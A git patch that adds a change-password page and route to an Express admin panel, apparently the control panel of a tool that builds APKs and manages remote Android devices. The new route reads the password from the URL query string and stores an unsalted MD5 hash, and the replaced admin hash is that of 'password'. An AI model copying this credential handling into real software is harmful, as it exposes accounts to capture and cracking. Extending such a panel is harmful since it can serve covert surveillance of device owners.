From 41bfb44d4d889bc23111a08044fc9d191d7c0d5c Mon Sep 17 00:00:00 2001 From: ChrisStone07 Date: Sun, 22 Mar 2020 15:43:56 +0530 Subject: [PATCH] Added support to change password --- assets/views/changePassword.ejs | 87 ++++++++++++++++++++++++++++++++ assets/views/partials/header.ejs | 4 ++ includes/expressRoutes.js | 14 ++++- maindb.json | 2 +- 4 files changed, 105 insertions(+), 2 deletions(-) create mode 100644 assets/views/changePassword.ejs diff --git a/assets/views/changePassword.ejs b/assets/views/changePassword.ejs new file mode 100644 index 0000000..acd3144 --- /dev/null +++ b/assets/views/changePassword.ejs @@ -0,0 +1,87 @@ + + + + +<% include partials/head.ejs %> + + + +
+ <% include partials/header.ejs %> +
+ +
+
Changing Password
+
+ +

Change Password

+
+
+
+
+ +
+
+ +
+
+
+
+
+
+
+
+
+
+ + + + <% include partials/footer.ejs %> + + + diff --git a/assets/views/partials/header.ejs b/assets/views/partials/header.ejs index ba5d7d5..36001b1 100644 --- a/assets/views/partials/header.ejs +++ b/assets/views/partials/header.ejs @@ -9,6 +9,10 @@    APK Builder + +    Change Password + +    Event Log diff --git a/includes/expressRoutes.js b/includes/expressRoutes.js index 9f00bee..f53a3a8 100644 --- a/includes/expressRoutes.js +++ b/includes/expressRoutes.js @@ -102,6 +102,16 @@ routes.post('/builder', isAllowed, (req, res) => { } }); +routes.post('/changepass', isAllowed, (req, res) => { + if(req.query.pass == undefined) res.json({"error":"Password empty"}); + else + { + let password = crypto.createHash('md5').update(req.query.pass).digest("hex"); + db.maindb.get('admin').assign({ password }).write(); + res.send("200"); + } +}); + routes.get('/logs', isAllowed, (req, res) => { res.render('logs', { @@ -109,7 +119,9 @@ routes.get('/logs', isAllowed, (req, res) => { }); }); - +routes.get('/changepass', isAllowed, (req, res) => { + res.render('changePassword'); +}); routes.get('/manage/:deviceid/:page', isAllowed, (req, res) => { let pageData = clientManager.getClientDataByPage(req.params.deviceid, req.params.page, req.query.filter); diff --git a/maindb.json b/maindb.json index 34749d8..cb1f1d4 100644 --- a/maindb.json +++ b/maindb.json @@ -1,7 +1,7 @@ { "admin": { "username": "admin", - "password": "5f4dcc3b5aa765d61d8327deb882cf99", + "password": "ffe553694f5096471590343432359e02", "loginToken": "", "logs": [ {